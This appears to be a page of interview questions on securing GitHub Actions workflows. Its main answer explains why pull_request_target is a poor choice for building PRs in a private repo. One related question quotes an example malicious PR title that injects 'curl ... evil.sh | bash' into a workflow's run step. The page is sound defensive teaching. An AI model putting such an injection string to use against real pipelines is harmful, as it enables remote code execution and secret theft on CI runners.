You find `pull_request_target` used to build and test PRs in a private repo. Is that acceptable?
AdvancedScenarioSecurity Hardening & Supply Chain
Answer
Situation read → Private repos limit forks to people with read access, but insiders, compromised accounts and accidental malicious dependencies still exist.
What I'd do →
- Switch to
pull_request; in private repos, same-repo PRs already get secrets withpull_request. - If forks are used internally, enable "Send secrets to workflows from fork pull requests" only if truly needed, and with approval required.
- Remove the head checkout from any remaining
pull_request_targetworkflow.
Why → pull_request_target gives no benefit here and keeps a dangerous pattern alive.
Interview tip → The trigger is for metadata on public fork PRs, not for building code.
More on Security Hardening & Supply Chain
You are asked to harden an existing repo's workflows in one week. What is your checklist?IntermediateA contributor's PR title is `"; curl -s https://evil.sh | bash; echo "` and your labeler workflow uses the title in `run:`. What happens and how do you fix it?IntermediateYour OSS project needs to run tests on fork PRs and post coverage comments. Design it safely.AdvancedA popular action you use was compromised and its tags repointed. What do you do in the first hour?AdvancedYou must prove that a container image in prod was built by your CI from a specific commit. How?AdvancedA developer wants to use a new Marketplace action with 40 stars for Slack notifications. How do you evaluate it?Beginner